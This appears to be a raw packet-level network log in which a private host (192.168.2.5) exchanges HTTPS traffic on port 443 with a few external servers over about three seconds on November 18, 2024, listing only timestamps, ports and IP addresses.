Nov 18, 2024 20:21:25.014349937 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.014480114 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.014843941 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.014862061 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.015024900 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.015086889 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.015209913 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.015290022 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.015784979 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.015784979 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.015784979 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.018142939 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.018194914 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.018270016 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.018537998 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.018554926 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.322098017 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.322134018 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.573064089 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.573942900 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.573976040 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.574445009 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.574453115 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.589461088 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.590017080 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.590048075 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.590409040 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.590421915 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.594060898 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.594384909 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.594468117 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.594811916 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.594830036 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.703762054 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.703845024 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.704109907 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.707760096 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.707760096 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.707798958 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.707840919 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.720607996 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.720662117 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.720851898 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.721185923 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.721204042 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.730340004 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:25.766067028 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.766164064 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.766228914 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.768776894 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.768799067 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.768811941 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.768820047 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.771404982 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:25.772025108 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.772624016 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.773552895 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.773614883 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.774329901 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.775755882 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.775784016 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.776181936 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.776186943 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.776417017 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.776460886 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.776777983 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.776787996 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.776920080 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.776943922 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.882288933 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.882752895 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.882832050 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.882894993 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.882930994 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.882957935 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.882972956 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.887954950 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.888006926 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.888179064 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.888684988 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.888699055 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.904072046 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.904148102 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.904213905 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.904408932 CET	49722	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.904438019 CET	443	49722	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.905415058 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.905550003 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.905612946 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.905802965 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.905826092 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.905839920 CET	49721	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.905847073 CET	443	49721	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.909888029 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.909914970 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.909992933 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.911588907 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.911676884 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.911736965 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.911751032 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.911780119 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.912131071 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.912184000 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.138556004 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.138587952 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.138597965 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.138669968 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:26.138701916 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.138717890 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.138770103 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:26.245496988 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.245589018 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:26.245620966 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.265790939 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:26.266014099 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:26.450155020 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.487667084 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.487726927 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.488104105 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.488118887 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.502706051 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.503536940 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.503566027 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.504112005 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.504118919 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.612719059 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.612911940 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.612979889 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.623773098 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.623773098 CET	49724	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.623843908 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.623879910 CET	443	49724	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.631331921 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.631408930 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.631580114 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.634913921 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.634975910 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.635044098 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.635159969 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.635186911 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.635200024 CET	49725	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.635205984 CET	443	49725	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.639262915 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.639296055 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.641155958 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.641200066 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.641249895 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.641367912 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.641386986 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.647571087 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.649261951 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.664686918 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.664716005 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.665057898 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.665064096 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.665462971 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.665469885 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.666197062 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.666202068 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.666455984 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.667046070 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.667124987 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.667450905 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.667465925 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.793458939 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.793781042 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.793847084 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.794336081 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.794507980 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.794554949 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.795120001 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.795142889 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.795154095 CET	49727	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.795160055 CET	443	49727	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.795241117 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.795241117 CET	49728	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.795245886 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.795253038 CET	443	49728	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.799720049 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.799774885 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.799822092 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.799890041 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.800174952 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.800230026 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.803535938 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.803579092 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.803632975 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.803930044 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.803962946 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.803963900 CET	49729	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.803975105 CET	443	49729	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.805052996 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.805075884 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.805119038 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.805135965 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.807250977 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.807261944 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:26.807310104 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.807656050 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:26.807667971 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.267163992 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:27.267204046 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:27.267224073 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:27.267231941 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:27.333125114 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:27.333230972 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:27.333287001 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:27.333380938 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:27.333421946 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:27.365839958 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.368216991 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.368246078 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.372840881 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.372867107 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.389002085 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:27.389095068 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:27.389173985 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:27.389631033 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:27.389703989 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:27.393968105 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.396075010 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.396100998 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.397088051 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.397097111 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.504740953 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.504900932 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.505024910 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.505146980 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.505194902 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.505230904 CET	49731	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.505245924 CET	443	49731	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.508112907 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.508188963 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.508634090 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.508846998 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.508862019 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.527210951 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.527292013 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.527379990 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.527482033 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.527501106 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.527509928 CET	49732	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.527514935 CET	443	49732	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.530261993 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.530308962 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.530565977 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.530703068 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.530716896 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.532092094 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.532519102 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.532547951 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.532990932 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.532996893 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.539733887 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.540062904 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.540079117 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.540488958 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.540494919 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.551057100 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.551378012 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.551397085 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.551762104 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.551767111 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.661345959 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.661509991 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.661751032 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.661808014 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.661834955 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.661854029 CET	49733	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.661863089 CET	443	49733	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.664894104 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.664942026 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.665029049 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.665165901 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.665178061 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.674983978 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.675828934 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.675920963 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.676049948 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.676070929 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.676085949 CET	49735	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.676093102 CET	443	49735	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.678132057 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.678178072 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.678260088 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.678369045 CET	49741	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.678386927 CET	443	49741	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.681152105 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.682642937 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.686175108 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.686211109 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.686228991 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.686238050 CET	49734	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.686244011 CET	443	49734	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.688157082 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.688258886 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:27.688365936 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.688476086 CET	49742	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:27.688498020 CET	443	49742	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.066701889 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.066806078 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.068125963 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.068140984 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.068634033 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.078458071 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.078458071 CET	49737	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:28.078767061 CET	443	49737	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:28.253146887 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.253752947 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.253777027 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.255995035 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.256006002 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.260385990 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.260813951 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.260838032 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.261365891 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.261373997 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.386573076 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.386739969 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.386924982 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.386967897 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.386969090 CET	49738	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.386986971 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.386996031 CET	443	49738	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.387602091 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.388026953 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.388111115 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.388549089 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.388639927 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.388700008 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.388885021 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.388906956 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.388931990 CET	49739	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.388938904 CET	443	49739	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.389260054 CET	49740	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.389312983 CET	443	49740	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.390693903 CET	49743	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.390790939 CET	443	49743	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:28.390959978 CET	49744	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:28.390980005 CET	443	49744	13.107.246.45	192.168.2.5
